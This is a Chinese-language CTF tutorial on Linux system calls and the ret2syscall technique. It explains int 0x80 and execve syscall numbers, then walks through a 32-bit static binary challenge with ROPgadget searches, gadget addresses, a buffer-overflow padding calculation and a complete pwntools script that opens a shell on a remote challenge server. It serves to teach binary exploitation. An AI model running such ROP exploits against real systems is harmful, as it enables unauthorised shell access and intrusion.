syscall 顾名思义是系统调用
系统调用是操作习系统提供给应用程序的一种接口,允许应用程序请求操作系统执行特权指令,如文件操作,网络通信,进程管理等。
x86 通过 int 0x80 指令进行系统调用,amd64 通过 syscall 指令进行系统调用
比如 write 函数
write(1,"Hello,World\n",12)
32位汇编代码
mov eax,0x4 ;系统调用号,触发 nr_write
mov ebx,1
mov ecx,["Hello,World\n"]
mov edx,13
int 0x80 ;中断触发系统调用
‘’
再比如 system(‘/bin/sh’),实现原理是 execve(“/bin/sh”,0,0) ,execve(“/bin/sh”,0,0) 的汇编实现则是系统调用号为 11 的系统调用
mov eax,0xb
mov ebx,['/bin/sh']
mov ecx,0
mov edx,0
int 0x80
32 位系统调用号
#ifndef _ASM_X86_UNISTD_32_H
#define _ASM_X86_UNISTD_32_H 1
#define __NR_write 4
#define __NR_execve 11
64 位系统调用号
#define __NR_execve 59
先看一道简单的题目
32 位静态编译文件,这就拿不到动态链接库了。所以得系统调用。
四个参数 eax,ebx,ecx,edx =》 0xb,/bin/sh,0,0
ROPgadget --binary ./03ret2syscall_32 --only "pop|ret"|grep eax
ROPgadget --binary ./03ret2syscall_32 --only "pop|ret"|grep ebx
找到
0x080b8576 : pop eax ; ret
0x0806f250 : pop edx ; pop ecx ; pop ebx ; ret
而且这道题降低难度了,/bin/sh 给了 gadget,没给的话我们要控制写入的。
ROPgadget --binary ./03ret2syscall_32 --string "/bin/sh"
0x080ea068 : /bin/sh
调试一下提示我们 0xb ,就是 execve 的系统调用号,gets 函数所以可以栈溢出
32 位找一下 int0x80
0x0806cea3 : int 0x80
可以开始构造 payload 了。
padding = 0x208 + 0x4
eax_ret = 0x080b8576
edx_ecx_ebx_ret = 0x0806f250
int80_addr = 0x0806cea3
binsh_addr = 0x080ea068
payload = b'a'*padding+p32(eax_ret)+p32(0xb)+p32(edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh_addr)+p32(int80_addr)
from pwn import *
# io = process('./03ret2syscall_32')
io = remote('120.46.59.242',2093)
padding = 0x208 + 0x4
eax_ret = 0x080b8576
edx_ecx_ebx_ret = 0x0806f250
int80_addr = 0x0806cea3
binsh_addr = 0x080ea068
payload = b'a'*padding+p32(eax_ret)+p32(0xb)+p32(edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh_addr)+p32(int80_addr)
io.sendlineafter('Good Luck.\n',payload)
io.interactive()